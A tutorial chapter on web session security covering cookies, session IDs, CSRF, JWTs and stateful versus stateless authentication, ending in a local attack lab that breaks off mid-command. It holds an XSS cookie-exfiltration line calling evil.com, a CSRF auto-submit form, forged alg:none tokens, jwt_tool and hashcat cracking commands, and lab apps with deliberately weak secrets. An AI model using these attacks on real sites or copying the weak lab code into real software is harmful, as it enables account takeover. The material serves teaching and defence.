Sessions, Cookies, Tokens & Stateful vs Stateless Auth

This is Chapter 3 of the Web Fundamentals series — Notebook 6. Chapter 2 took HTTP apart down to the byte and, near the end, introduced the Cookie and Set-Cookie headers as “state bolted onto a stateless protocol.” This chapter is where that bolt gets tightened. We take the single most important question a web application asks on every request — who is this? — and answer it four different ways, from the oldest (a random string in a cookie that points at a row in a server’s memory) to the newest (a cryptographically signed token the server can verify without remembering anything at all).

HTTP has no memory. Every request arrives as if the server had never seen the client before. Yet you log in once and stay logged in for an hour, a day, a month. Something is carrying your identity forward across requests that the protocol itself treats as strangers. That “something” is a session, and the mechanism that carries it is either a cookie or a token. Get the mechanics of that carrier wrong — a session ID an attacker can guess, a cookie without HttpOnly, a JWT that accepts alg: none — and every other control in the application is moot, because the attacker simply becomes another user. Almost every account-takeover bug in every bug-bounty program on earth is a failure somewhere in this chapter. So we build the whole machine from zero, then we break each part of it deliberately.

---

Part 1: The Core Problem — HTTP Is Stateless

Start with the fact that makes everything else necessary. HTTP is a stateless protocol: the server treats each request as complete and independent, retaining nothing about the client between requests. Open a raw connection and send two requests, and the second one carries no memory of the first unless the client re-supplies whatever context is needed.

sequenceDiagram
    participant B as Browser
    participant S as Server
    B->>S: POST /login (user=alice, pass=hunter2)
    S-->>B: 200 OK "Welcome Alice"
    Note over S: server forgets everything
    B->>S: GET /account
    S-->>B: 401 Who are you?
    Note over B,S: second request has no memory of the first

This is not a bug — it is the design decision that let the web scale. A stateless server can be cloned a thousand times behind a load balancer, and any clone can handle any request, because no clone has to “own” a particular client’s context. The cost of that scalability is that identity is not free: the application must re-establish who the client is on every single request. There are exactly two families of answers:

1. Server-side sessions. The server keeps the state (“this is Alice, logged in at 09:04, cart has 3 items”) in its own memory or database, and hands the client a small, meaningless session identifier to present on future requests. The client carries a claim check; the server holds the coat.

2. Client-side tokens. The server keeps no per-user state. Instead it hands the client a self-describing, tamper-proof token that contains the identity (“sub: alice, exp: 10:04”) along with a signature. On each request the client presents the token, and the server verifies the signature and reads the identity straight out of it. The client carries the coat and a tamper-evident seal.

Everything in this chapter is a variation on those two answers, plus the cookie and header plumbing that transports them. The distinction is the single most consequential architectural choice in web authentication, and we return to it formally in Part 11. For now, hold this sentence in your head: a session ID is a pointer; a token is the data.

Security relevance from the first paragraph: because identity must be re-proven on every request, there is always some artifact — a session ID, a cookie, a bearer token — traveling with each request that is the user’s identity for that request. Steal that artifact, replay it, or forge it, and you are that user. The entire discipline of session security is about making that artifact unforgeable, unstealable, and short-lived.

---

Part 2: Server-Side Sessions and the Session ID

The oldest and still most common answer is the server-side session. When Alice logs in, the server creates a session record — a small blob of state — and stores it keyed by a long random string called the session identifier (session ID, or SID). It then sends that SID back to the browser inside a Set-Cookie header. The browser stores the cookie and automatically attaches it to every subsequent request to that site. On each request, the server looks up the SID in its session store, finds Alice’s record, and thereby knows who is calling.

sequenceDiagram
    participant B as Browser
    participant S as Server
    participant DB as Session Store (Redis/DB)
    B->>S: POST /login (alice / hunter2)
    S->>S: verify password OK
    S->>DB: create session {sid: 9f2a..., user: alice}
    S-->>B: 200 + Set-Cookie: SID=9f2a...; HttpOnly; Secure
    Note over B: browser stores cookie
    B->>S: GET /account  Cookie: SID=9f2a...
    S->>DB: lookup 9f2a... -> {user: alice}
    S-->>B: 200 "Alice's account"

The session record itself lives server-side and can hold anything: the user ID, roles, CSRF token, cart contents, last-seen timestamp, a “this session is elevated after re-auth” flag, and so on. The client never sees any of it. All the client holds is the opaque SID — opaque meaning it carries no meaning of its own; it is just a lookup key. If Alice inspects her cookie she sees something like SID=9f2a7c1e5b8d43a0f6... and can infer nothing from it.

Where sessions are stored server-side matters for both scale and security:

Store	How it works	Trade-off
In-process memory	A hashmap in the app process	Fast, but dies on restart and can’t be shared across servers
Sticky-session file/DB	Row per session in SQL, or files on disk	Survives restart; DB round-trip per request
Redis / Memcached	Central in-memory KV store, TTL per key	Fast, shared across a fleet, native expiry — the common production choice
Encrypted client cookie	State serialized+encrypted into the cookie itself	No server store, but now it’s really a token (see Part 9)

The property that makes this scheme secure is that the SID must be unguessable. If an attacker can predict, brute-force, or otherwise obtain a valid SID, they inherit the entire session behind it without ever knowing the password. This is why the generation of the SID is a cryptographic concern, not a convenience concern — a point we hammer in Part 3.

Blue team / IR use case: because the server holds the session record, server-side sessions are revocable. If you detect a compromised account, you delete its session rows and every stolen cookie instantly stops working on the next request. This single property — instant, central revocation — is the biggest operational advantage sessions have over stateless tokens, and it is why banks and anything with a “log out everywhere” button lean on server-side sessions.

---

Part 3: Anatomy of a Good (and Bad) Session ID

The session ID is the crown jewel. Everything downstream trusts it, so its quality is a security property. A good SID has three attributes: it is long, high-entropy, and generated by a cryptographically secure random number generator (CSPRNG).

Entropy is the amount of unpredictability, measured in bits. With n bits of entropy an attacker faces up to 2ⁿ guesses. OWASP’s floor is at least 64 bits of entropy in the SID, and 128 bits is the modern norm. A 128-bit random value rendered as 32 hex characters is computationally impossible to guess before the heat death of your rate limiter.

Here is the difference between a safe and a catastrophic generator, in Python:

import secrets       # CSPRNG — correct
import random        # Mersenne Twister — NOT for security

# GOOD: 128 bits of entropy from the OS CSPRNG
good_sid = secrets.token_hex(16)      # e.g. '9f2a7c1e5b8d43a0f6c9e2b1a4d70e83'

# BAD: predictable, seedable, reconstructable from ~624 outputs
bad_sid  = ''.join(random.choice('0123456789abcdef') for _ in range(32))

# CATASTROPHIC: sequential/enumerable
counter_sid = str(next_user_session_number)   # 1001, 1002, 1003 ...

secrets (and os.urandom, Node’s crypto.randomBytes, Java’s SecureRandom) draw from the operating system’s CSPRNG. random uses the Mersenne Twister, a fast statistical PRNG whose entire internal state can be reconstructed from about 624 consecutive 32-bit outputs — after which every future “random” value is predictable. Using random (or Math.random() in JavaScript, or mt_rand() in PHP) to mint session IDs is a real, exploited class of bug.

How weak SIDs are attacked — the four failure modes:

Failure mode	What the attacker does	Real-world example
Sequential IDs	Increment the number, land in someone else’s session	Early PHP apps using auto-increment session keys
Low entropy	Brute-force the whole keyspace (e.g. 16-bit = 65k guesses)	Short “token” params on legacy apps
Predictable seed	Recover PRNG state (time-seeded, Mersenne Twister)	mt_rand()/Math.random() session tokens
Info-leaking structure	SID encodes username/timestamp/userid in cleartext or weak encoding	base64(userid:timestamp) “session” cookies

Bug-bounty angle: whenever you find a session cookie or a “token” query parameter, the first reflex is to decode and inspect it. Base64-decode it, hex-decode it, look for structure. If sessiontoken=YWxpY2U6MTcwMDAwMDAwMA== decodes to alice:1700000000, you have a trivial account-takeover: change alice to admin, re-encode, replay. This exact pattern — a “session” that is really an encoded, unsigned identity — still turns up on bug-bounty programs. Burp’s Sequencer tool automates the analysis: it captures a few thousand session tokens and runs statistical randomness tests (FIPS 140-2 style) to estimate the effective entropy, flagging tokens that are far less random than they look.

Red team usage: collect a handful of tokens, decode them, diff them. If two tokens issued a second apart differ only in a few low bytes, the generator is time- or counter-seeded and the keyspace an attacker must search collapses from 2¹²⁸ to something searchable.

---

Part 4: Cookies from Scratch — Set-Cookie and the Cookie Header

A cookie is a small key–value pair the server asks the browser to store and send back. It is the transport layer for session IDs (and much else). The server sets a cookie with a Set-Cookie response header; the browser returns it on matching requests with a Cookie request header. That is the whole mechanism — everything else is attributes controlling when and how the browser sends it back.

A response setting a session cookie:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: SID=9f2a7c1e5b8d43a0f6c9e2b1a4d70e83; Path=/; Domain=app.example.com; Secure; HttpOnly; SameSite=Lax; Max-Age=3600

The next request the browser makes to app.example.com carries it back:

GET /account HTTP/1.1
Host: app.example.com
Cookie: SID=9f2a7c1e5b8d43a0f6c9e2b1a4d70e83

Note the asymmetry: Set-Cookie (response) carries the value plus all attributes; the Cookie header (request) carries only the name=value — never the attributes. The browser consumes the attributes to decide whether to send the cookie at all; the server never sees them echoed back. This asymmetry has a direct consequence: the server cannot tell from an incoming request whether the cookie it’s reading was Secure or HttpOnly. Those flags are promises the browser keeps, not data the server can verify per-request.

Multiple cookies are set with multiple Set-Cookie headers (one per cookie — you cannot fold them into one header), and sent back joined by ; in a single Cookie header:

Cookie: SID=9f2a...; theme=dark; consent=1

How the browser decides which cookies to send on a given request is governed by the cookie’s Domain, Path, Secure, and SameSite attributes, matched against the target URL and the request context. We take those attributes one at a time in the next two parts, because each one is simultaneously a functionality control and a security control — and the security bugs live precisely in the gaps between what a developer thinks an attribute does and what it actually does.

---

Part 5: The Cookie Security Attributes — HttpOnly, Secure, SameSite

Five attributes turn a plain cookie into a secure cookie. Missing or misconfigured, each maps to a specific vulnerability class. This is the single most bug-dense table in web auth, so learn it cold.

Attribute	What it does	If missing/misconfigured
Secure	Cookie sent only over HTTPS	Cookie leaks over plaintext HTTP → network sniffing / MITM
HttpOnly	JavaScript (document.cookie) cannot read it	XSS can steal the session cookie
SameSite=Strict/Lax/None	Controls cross-site sending	None (or absent, pre-2020 defaults) → CSRF
Domain	Which hosts get the cookie	Too broad → shared with untrusted subdomains
Path	Which URL paths get the cookie	Weak isolation (path is not a security boundary)
Max-Age/Expires	Lifetime	Too long → stolen cookie usable for months

HttpOnly is your primary defense against cookie theft via cross-site scripting. When a cookie is HttpOnly, the browser refuses to expose it through the document.cookie DOM API. So even if an attacker lands JavaScript on your page (an XSS), the classic one-liner new Image().src='//evil.com/?c='+document.cookie comes up empty for that cookie. It does not stop XSS from doing damage another way (the script can still make authenticated requests as the victim), but it takes the raw session ID off the table. Every session cookie must be HttpOnly.

Secure tells the browser to attach the cookie only on HTTPS connections. Without it, a single plaintext request (a mistyped http://, an SSL-stripping attacker on the same Wi-Fi) leaks the session ID in cleartext. On any modern site every cookie of consequence is Secure.

SameSite is the CSRF control, and it has three values:

• Strict — the cookie is never sent on any cross-site request, including top-level navigations. Maximum CSRF protection, but it breaks “click a link in an email and arrive already logged in” UX.
• Lax — the cookie is withheld on cross-site sub-requests (form POSTs, fetch, images, iframes) but is sent on top-level GET navigations (clicking a link). This is the modern browser default when SameSite is unspecified, and it neutralizes the classic cross-site POST CSRF while preserving link-click UX.
• None — the cookie is sent on all cross-site requests. Required for legitimate third-party cookie use (embedded widgets, SSO), but browsers require it to be paired with Secure. SameSite=None without other CSRF defenses is a CSRF invitation.

Bug-bounty angle: the SameSite=Lax default closed a lot of easy CSRF, but not all. Lax still sends the cookie on top-level GETs, so any state-changing GET endpoint (a GET /account/delete, an old-style GET /transfer?to=...) is CSRF-able even with Lax. And some frameworks/CDNs downgrade or strip SameSite. Always test: does the app rely on SameSite alone, or does it also have anti-CSRF tokens? We build the full CSRF picture in Part 8.

Putting the ideal session cookie together:

Set-Cookie: __Host-SID=9f2a...; Path=/; Secure; HttpOnly; SameSite=Lax

The __Host- prefix is a browser-enforced hardening: a cookie whose name starts with __Host- is rejected by the browser unless it is Secure, has Path=/, and has no Domain attribute (so it cannot be scoped to a parent domain and shared with subdomains). It is free defense-in-depth against subdomain cookie-injection attacks. There is also a weaker __Secure- prefix (requires only Secure).

---

Part 6: Domain, Path and Cookie Scope — The Subdomain Trap

Domain and Path control scope — which requests carry the cookie. They are functionality controls that double as (weak) security boundaries, and misunderstanding them causes real bugs.

Domain. If you set Domain=example.com, the cookie is sent to example.com and every subdomain — app.example.com, blog.example.com, uploads.example.com, and any subdomain an attacker manages to control. If you omit Domain entirely, the cookie is a host-only cookie: sent only to the exact host that set it. Host-only is the safer default. The danger with a broad Domain is twofold:

1. Leaking to less-trusted subdomains. Your session cookie scoped to .example.com is now also sent to marketing-microsite.example.com running some third-party CMS. Compromise the weak subdomain, read the session cookie.
2. Cookie injection / fixation from a sibling. A subdomain can set a cookie for the parent domain (Domain=example.com), and the browser will then send it to all siblings. An attacker who controls evil.example.com (or exploits an XSS there) can plant a cookie the main app will read — the mechanism behind many session fixation attacks (Part 7).

flowchart TD
    A["Cookie set with Domain=example.com"] --> B[app.example.com]
    A --> C[blog.example.com]
    A --> D["evil.example.com (attacker)"]
    D -.can set/read.-> A
    B -.reads attacker-planted cookie.-> A

Path. Path=/admin means the cookie is sent only on requests to /admin and below. It feels like isolation, but path is not a security boundary: any page in the app can read cookies of any path via scripting tricks and the browser’s own cookie APIs, and path scoping gives no protection against same-origin JavaScript. Treat Path as a scoping convenience, never as a wall between two apps on the same host.

The __Host- prefix (recap) fixes the subdomain trap by forbidding a Domain attribute entirely, forcing the cookie to be host-only. If you take one hardening habit from this part: prefix your session cookie with __Host- and never set a broad Domain on anything that carries identity.

Red team usage: on a target with many subdomains, enumerate them (amass, subfinder) and look for a forgotten, weakly-hosted subdomain. If the main app scopes its session cookie to the parent domain, that subdomain is a cookie-theft or cookie-injection foothold into the primary session.

---

Part 7: Session Attacks — Hijacking, Fixation, and Sidejacking

With the machinery in place, here are the three canonical attacks on server-side sessions. Each targets a different phase of the session’s life.

7.1 Session Hijacking (stealing an active SID)

The attacker obtains a valid, live session ID and replays it, becoming the victim without a password. Ways to get the SID:

• XSS reading a non-HttpOnly cookie (document.cookie) and exfiltrating it.
• Network sniffing of a non-Secure cookie over HTTP / hostile Wi-Fi (historically called “sidejacking,” popularized by the Firesheep extension).
• Referer / log leakage if the SID is ever placed in a URL (see 7.3).
• Malware / a compromised proxy reading the cookie jar.

Once stolen, replay is trivial — set the cookie in your own browser or curl:

curl -s https://app.example.com/account \
  -H "Cookie: SID=9f2a7c1e5b8d43a0f6c9e2b1a4d70e83"
# -> returns the victim's account page; no password ever needed

Defenses: HttpOnly + Secure (cut off the theft vectors), short session lifetimes, binding the session to some client attributes (with care — see below), and regenerating the SID on privilege change.

7.2 Session Fixation (planting a SID the victim then authenticates)

Subtler and often missed. Instead of stealing a session after login, the attacker fixes the session ID before login, tricks the victim into logging in under that known ID, then reuses it.

sequenceDiagram
    participant A as Attacker
    participant V as Victim
    participant S as Server
    A->>S: GET / (obtain a valid pre-auth SID = ABC123)
    A->>V: link/inject: set SID=ABC123 in victim's browser
    V->>S: POST /login (alice/hunter2) with Cookie SID=ABC123
    Note over S: BUG: server keeps ABC123 as the logged-in session
    A->>S: GET /account  Cookie: SID=ABC123
    S-->>A: 200 Alice's account (attacker rides the fixed session)

The root cause is a server that does not issue a fresh session ID at the moment of authentication. The one-line fix is universal and non-negotiable:

Regenerate the session ID on every privilege-level change — especially at login.

In Express (express-session) that’s req.session.regenerate(); in Flask, rotate the session; in PHP, session_regenerate_id(true). After regeneration the pre-login ABC123 the attacker planted is dead, and the victim’s real session is an ID the attacker never saw.

Bug-bounty angle: to test for fixation, capture your session cookie before logging in, log in, and check whether the cookie value changed. If the SID is identical before and after login, the app is vulnerable to fixation (and you demonstrate impact by showing a planted cookie surviving authentication).

7.3 Session ID in the URL

Never put a session ID in a URL (?sid=... or path). URLs leak through the Referer header to third parties, land in server and proxy access logs, sit in browser history, and get shared in copy-pasted links. PHP’s old session.use_trans_sid did exactly this and caused countless leaks. Session IDs belong in cookies (or, for APIs, in an Authorization header), never in the address bar.

A note on “session binding.” Some apps try to harden sessions by binding them to the client’s IP or User-Agent, invalidating the session if either changes. This raises the bar for replay but is a blunt instrument: mobile users change IPs constantly (breaking legitimate sessions), and User-Agent is attacker-controllable and easily copied alongside a stolen cookie. Treat binding as defense-in-depth, never as your primary control.

---

Part 8: CSRF — When the Cookie’s Auto-Send Becomes the Weapon

Cookies have a property that is convenient and dangerous in equal measure: the browser attaches them automatically to every matching request, regardless of who initiated the request. If you are logged into your bank and then visit a malicious page, that page can cause your browser to fire a request at the bank — and the browser will helpfully attach your bank session cookie. This is Cross-Site Request Forgery (CSRF): the attacker doesn’t steal your session, they ride it.

sequenceDiagram
    participant V as Victim (logged into bank)
    participant E as evil.com
    participant B as bank.com
    V->>E: visits malicious page
    E-->>V: HTML with auto-submitting form to bank.com/transfer
    V->>B: POST /transfer?to=attacker&amount=5000  Cookie: SID=(victim's)
    Note over B: BUG: request accepted — cookie present, no CSRF check
    B-->>V: 200 transfer complete

The malicious page:

<form action="https://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('f').submit();</script>

The victim never clicks anything meaningful; the form auto-submits, the browser attaches the session cookie, and the transfer executes with the victim’s authority. CSRF is fundamentally a consequence of ambient authority — the cookie authenticates the browser, not the specific action the user intended.

The three layered defenses, in order of modern importance:

1. SameSite cookies. As covered in Part 5, SameSite=Lax (the browser default) stops the cross-site POST above, because the cookie is withheld on cross-site sub-requests. This alone kills the classic CSRF — but only for state-changing requests that are not top-level GETs, and only if no framework strips the attribute.

2. Anti-CSRF tokens (synchronizer token pattern). The server embeds an unpredictable, per-session (or per-request) token in every form, and requires it back on submission. The malicious page cannot read this token (Same-Origin Policy stops it reading the bank’s HTML), so it cannot forge a valid request.

   <form action="/transfer" method="POST">
     <input type="hidden" name="csrf_token" value="a7f3...c91">
     ...
   </form>

   The server rejects any POST whose csrf_token doesn’t match the one bound to the session. The double-submit cookie variant sends the token both as a cookie and a form field and checks they match — cheaper (stateless) but weaker if the attacker can set cookies on a sibling subdomain.

3. Custom-header / origin checks. For JSON APIs consumed by JS, require a custom header (e.g. X-Requested-With or a custom CSRF header). A cross-site page cannot set custom headers on a “simple” request without triggering a CORS preflight the server can reject. Verifying the Origin/Referer header server-side is a complementary check.

The relationship to tokens (foreshadowing Part 9): notice that CSRF is a cookie problem — it exists because cookies auto-send. Bearer tokens in an Authorization header do not auto-send cross-site (the attacker’s page has no way to attach your token to a request it generates), so token-in-header auth is inherently immune to classic CSRF. That immunity is one of the real arguments for tokens — but it comes at the cost of XSS exposure, as we’ll see.

Blue team detection: CSRF attempts show up as state-changing requests with a cross-site or absent Origin/Referer against a valid session. Log and alert on POSTs to sensitive endpoints where Origin is not your own domain. Enforcing SameSite at the framework level and requiring CSRF tokens on every mutating route are the controls; the detection is a backstop.

---

Part 9: Tokens and JWTs — Identity You Can Verify Without Remembering

Now the second family. Instead of storing session state server-side and handing out a pointer, the server hands the client a token that is the state, sealed so it cannot be tampered with. The dominant format is the JSON Web Token (JWT) — the thing behind “Bearer” auth, OAuth access tokens, and most single-page-app / mobile / microservice authentication.

A JWT is three Base64URL-encoded parts joined by dots: header.payload.signature.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzAwMDAzNjAwfQ.Jf9-2s...signature

Decode the first two parts (they are not encrypted, only encoded — anyone can read them):

// Header — algorithm and token type
{ "alg": "HS256", "typ": "JWT" }

// Payload — the "claims" (the identity + metadata)
{ "sub": "alice", "role": "user", "iat": 1700000000, "exp": 1700003600 }

The third part is the signature: a keyed hash (HMAC-SHA256 for HS256) or an asymmetric signature (RSA/ECDSA for RS256/ES256) computed over base64url(header) + "." + base64url(payload) using a secret (HMAC) or a private key (RSA/ECDSA).

signature = HMACSHA256( base64url(header) + "." + base64url(payload), secret )

On each request the client sends the token, conventionally in the Authorization header:

GET /api/account HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiI...signature

The server recomputes the signature over the received header+payload with its key. If it matches the signature in the token, the token is authentic and untampered, and the server trusts the claims inside without any database lookup. That is the whole point: identity is verified by math, not by memory. A hundred stateless API servers can all verify the same JWT with the same public key and none of them needs a shared session store.

Standard registered claims you’ll see and should validate:

Claim	Meaning	Why it matters for security
iss	Issuer	Verify it’s your issuer, not an attacker’s
sub	Subject (the user)	The identity you act on
aud	Audience (intended recipient)	Reject tokens minted for a different service
exp	Expiry (unix time)	Must be checked — expired tokens must be rejected
nbf	Not-before	Token invalid before this time
iat	Issued-at	Age checks, forced-logout-before-time
jti	JWT ID (unique)	Enables denylist / replay detection

A signed-but-not-encrypted JWT (a JWS) means the payload is fully readable by anyone holding the token — never put secrets (passwords, PII, internal flags you don’t want the client to see) in a plain JWT payload. If you need confidentiality, that’s JWE (encrypted JWTs), a separate and heavier construct.

---

Part 10: Breaking JWTs — alg:none, Algorithm Confusion, Weak Secrets

JWTs concentrate enormous trust into one signature check, so the bugs cluster around making the server skip or mis-perform that check. These are among the highest-value findings in web security. We teach the tool that automates them, then the attacks.

Tool from scratch: jwt_tool

jwt_tool is the standard CLI for JWT recon and attack. It parses tokens, tampers claims, tries the classic bypasses, and brute-forces weak HMAC secrets.

# Install (Kali or any Python env)
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip install -r requirements.txt

# Inspect a token (decode header + payload, no key needed)
python3 jwt_tool.py eyJhbGciOiJIUzI1NiI...

# Run all known exploit playbook checks against a live endpoint
python3 jwt_tool.py -t https://api.example.com/account \
  -rh "Authorization: Bearer eyJ..." -M pb

10.1 The alg: none bypass

The JWT spec includes an none algorithm meaning “unsecured — no signature.” A naive verifier that honors the token’s own alg field will, when handed {"alg":"none"}, accept a token with an empty signature and no verification at all. The attacker just edits the payload ("role":"user" → "role":"admin"), sets alg to none, drops the signature, and is admin.

# Original header {"alg":"HS256"} -> forge {"alg":"none"}, edit payload, empty sig:
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiJ9.
                                                              ^ empty signature, trailing dot

python3 jwt_tool.py eyJhbGciOiJIUzI1NiI... -X a   # -X a = alg:none attack, auto-forges variants

Fix: the server must enforce an allowlist of expected algorithms and never trust the token’s alg. A verifier configured to accept only HS256 (or only RS256) rejects none outright.

10.2 Algorithm confusion (RS256 → HS256)

When a server uses asymmetric RS256 — verifying with a public key, signing with a private key — a classic bug is a verify function that picks the algorithm from the token. The attacker switches alg from RS256 to HS256 and signs the token using the server’s public key as the HMAC secret. Because the public key is, by definition, public, the attacker can compute a valid HS256 signature. A naive server that calls “verify with the RSA public key, algorithm per the header” will treat that public key as an HMAC secret and the forged signature verifies.

# jwt_tool automates it given the server's public key (often at /jwks.json or a TLS cert)
python3 jwt_tool.py eyJ... -X k -pk public_key.pem

Fix: bind the verifier to a specific algorithm. If you issue RS256, verify only RS256 with the public key; never let the token dictate symmetric-vs-asymmetric.

10.3 Weak HMAC secret (offline brute force)

For HS256, the entire security rests on a shared secret. If that secret is weak (a dictionary word, secret, changeme, a leaked default), it can be brute-forced offline — no interaction with the server — because the attacker holds a signed token and can test candidate secrets until the signature matches.

# Crack with jwt_tool + a wordlist
python3 jwt_tool.py eyJ... -C -d /usr/share/wordlists/rockyou.txt
# or with hashcat mode 16500 (JWT)
hashcat -m 16500 token.txt rockyou.txt

Once the secret is recovered, the attacker signs arbitrary tokens — any user, any role, any expiry. Fix: use a long, random, high-entropy secret (≥256 bits from a CSPRNG) for HMAC, or prefer asymmetric RS256/ES256 so there is no shared secret to leak.

10.4 Other JWT pitfalls

Pitfall	Attack	Fix
exp not checked	Replay an old/expired token forever	Always validate exp (and nbf, iat)
kid header injection	SQLi / path traversal / command injection via kid	Treat kid as untrusted input; parameterize
jku/x5u header trusted	Point key URL at attacker server → attacker-signed token	Pin/allowlist the JWKS URL
No audience check	Token from service A replayed at service B	Validate aud
Secrets in payload	PII/roles readable by client	Never put secrets in a JWS payload

CTF angle: JWT challenges are a staple of web CTFs (picoCTF, HTB web, PortSwigger’s “JWT attacks” labs). The playbook is almost always: decode → try alg:none → try RS256→HS256 confusion with a leaked/derivable public key → brute-force a weak HMAC secret → look for kid injection. jwt_tool -M pb runs most of that automatically.

---

Part 11: Stateful vs Stateless — The Real Trade-Off

Now the architectural decision, made concrete. The choice is not “cookies vs tokens” (you can put a JWT in a cookie, or a session ID in a header). The real axis is where the source of truth for the session lives: on the server (stateful) or in the token itself (stateless).

flowchart TD
    Q{Where does session<br/>truth live?}
    Q -->|Server holds it| ST[Stateful: server-side session]
    Q -->|Token holds it| SL[Stateless: self-contained token]
    ST --> ST1[Instant revocation]
    ST --> ST2[Needs shared store at scale]
    SL --> SL1[No store, scales trivially]
    SL --> SL2[Cannot easily revoke before exp]

Dimension	Stateful (server sessions)	Stateless (JWT/self-contained)
Where truth lives	Server store (Redis/DB)	Inside the signed token
Revocation	Instant — delete the record	Hard — valid until exp unless you add a denylist
Scaling	Needs shared/replicated store	Trivial — any server verifies with the key
Per-request cost	A store lookup	A signature verification (CPU only)
Payload visibility	Opaque to client	Readable by client (unless JWE)
Size on the wire	Small (just the SID)	Larger (whole payload every request)
Logout	Delete server record → done	Token still valid until expiry — needs extra machinery
CSRF exposure	Yes (if carried in cookies)	No (if carried in Authorization header)
XSS exposure of the secret	Low (HttpOnly cookie)	High (tokens often in JS-readable storage)

The logout / revocation problem is the crux of stateless auth. With a server session, “log out” means “delete the row” and the cookie is instantly dead. With a stateless JWT, the token is valid until exp no matter what — the server has nothing to delete. The standard mitigations reintroduce some state and thereby erode the “stateless” purity:

• Short-lived access tokens + long-lived refresh tokens. The access token (JWT) lives 5–15 minutes so a stolen one expires quickly; a separate, revocable refresh token (stored server-side, often in an HttpOnly cookie) is exchanged for new access tokens. Revoke the refresh token and the user is locked out within one access-token lifetime.
• A denylist / revocation list keyed by jti — but that’s a server-side store again, partially defeating statelessness.
• A token_version / password-changed-at check in the user record, compared against a claim — again, a per-request lookup.

The pragmatic industry answer for browser apps is often a hybrid: a short-lived JWT access token plus a server-side, HttpOnly-cookie refresh token — statelessness for the hot path, statefulness for revocation.

Where to store a token in a browser is its own security decision:

Storage	XSS-readable?	Auto-sent (CSRF)?	Notes
localStorage	Yes (JS reads it)	No	Convenient, but any XSS steals the token
sessionStorage	Yes	No	Same XSS risk, cleared on tab close
JS-accessible cookie	Yes	Yes	Worst of both
HttpOnly cookie	No	Yes (mitigate with SameSite)	Safe from XSS theft; needs CSRF defense

The common SPA habit of stashing a JWT in localStorage trades CSRF-immunity for XSS-exposure: one cross-site script and the token is exfiltrated. Storing it in an HttpOnly cookie flips the trade-off — safe from XSS theft, but back to needing SameSite/CSRF tokens. There is no free lunch; there is only choosing which attack you’re defending against.

---

Part 12: Hands-On Lab — Build, Inspect, and Break a Session

Time to make all of this real. This lab has two tracks — a server-side session app and a JWT API — and you attack both. Everything runs locally; the only tools are python3, curl, jwt_tool, and optionally Burp Suite.

12.1 Stand up a tiny session app (Flask)

# app.py — a minimal server-side-session app (intentionally toggleable for the lab)
from flask import Flask, session, request
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)   # signs Flask's session cookie

USERS = {"alice": "hunter2", "admin": "s3cr3t"}

@app.route("/login", methods=["POST"])
def login():
    u, p = request.form["user"], request.form["pass"]
    if USERS.get(u) == p:
        # SECURE: rotate identity on auth (comment out to demo fixation)
        session.clear()
        session["user"] = u
        return f"logged in as {u}"
    return "bad creds", 401

@app.route("/whoami")
def whoami():
    return f"you are {session.get('user', 'nobody')}"

@app.route("/logout")
def logout():
    session.clear()
    return "logged out"

if __name__ == "__main__":
    app.run(port=5000, debug=True)

pip install flask
python3 app.py &

Drive it with curl and watch the cookie:

# Log in, saving cookies to a jar, and dump response headers
curl -s -c jar.txt -D - -X POST http://localhost:5000/login \
     -d 'user=alice&pass=hunter2'

Realistic output — note the Set-Cookie with Flask’s signed session:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=eyJ1c2VyIjoiYWxpY2UifQ.aBc.9Xy...; HttpOnly; Path=/
logged in as alice

# Reuse the cookie -> we're recognized without re-authenticating
curl -s -b jar.txt http://localhost:5000/whoami
# -> you are alice

Now inspect the cookie. Flask’s default session is a signed, client-side cookie (itself a mini-token!). Decode the first dot-segment:

echo 'eyJ1c2VyIjoiYWxpY2UifQ' | base64 -d 2>/dev/null; echo
# -> {"user":"alice"}

Readable but signed with app.secret_key. Try to tamper — edit alice→admin in the cookie and replay:

curl -s -b 'session=eyJ1c2VyIjoiYWRtaW4ifQ.forged.sig' http://localhost:5000/whoami
# -> you are nobody     (signature check fails; tamper rejected)

Lesson: the signature is doing the work. This is exactly why a weak signing key is fatal — if app.secret_key were guessable, you’d forge admin at will (that’s the flask-unsign tool’s entire job).

12.2 Demonstrate session fixation

Comment out session.clear() in /login (the insecure variant), restart, then:

# 1. Attacker obtains a pre-auth session value and plants it
curl -s -c jar.txt http://localhost:5000/whoami >/dev/null
PLANTED=$(grep session jar.txt | awk '{print $NF}')

# 2. Victim logs in *with the planted cookie*
curl -s -b "session=$PLANTED" -X POST http://localhost:5000/login \
     -d 'user=alice&pass=hunter2'

# 3. Attacker replays the SAME planted cookie -> rides Alice's session
curl -s -b "session=$PLANTED" http://localhost:5000/whoami
# -> you are alice   (VULNERABLE: id was not rotated at login)

Re-enable session.clear(), and step 3 returns nobody — the fix in one line.

12.3 Build and attack a JWT API

jwtapi.py

from flask import Flask, request, jsonify
import jwt   # pip install pyjwt

app = Flask(__name__)
SECRET = "secret"          # DELIBERATELY WEAK for the lab

@app.route("/token")
def token():
    t = jwt.encode({"sub": "alice", "role": "user"}, SECRET, algorithm="HS256")
    return jsonify(token=t)

@app.route("/admin")
def admin():
    auth = request.headers.get("Authorization", "").removeprefix("Bearer ")
    try:
        data = jwt.decode(auth, SECRET, algorithms=["HS256"])
    except Exception as e:
        return jsonify(error=str(e)), 401
    if data.get("role") != "admin":
        return jsonify(msg="forbidden"), 403
    return jsonify(msg="welcome admin")

app.run(port=5001)

pip install pyjwt flask
python3 jwtapi.py &
TOK=$(curl -s http://localhost:5001/token | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
echo "$TOK"

Attack 1 — brute-force the weak HMAC secret offline:

python3 jwt_tool.py "$TOK" -C -d /usr/share/wordlists/rockyou.txt
# [+] secret found: "secret"

Attack 2 — forge an admin token with the cracked secret and escalate:

FORGED=$(python3 jwt_tool.py "$TOK" -S hs256 -p "secret" \
         -T 2>/dev/null | grep -oE 'eyJ[A-Za-z0-9._-]+')   # tamper role->admin, re-sign
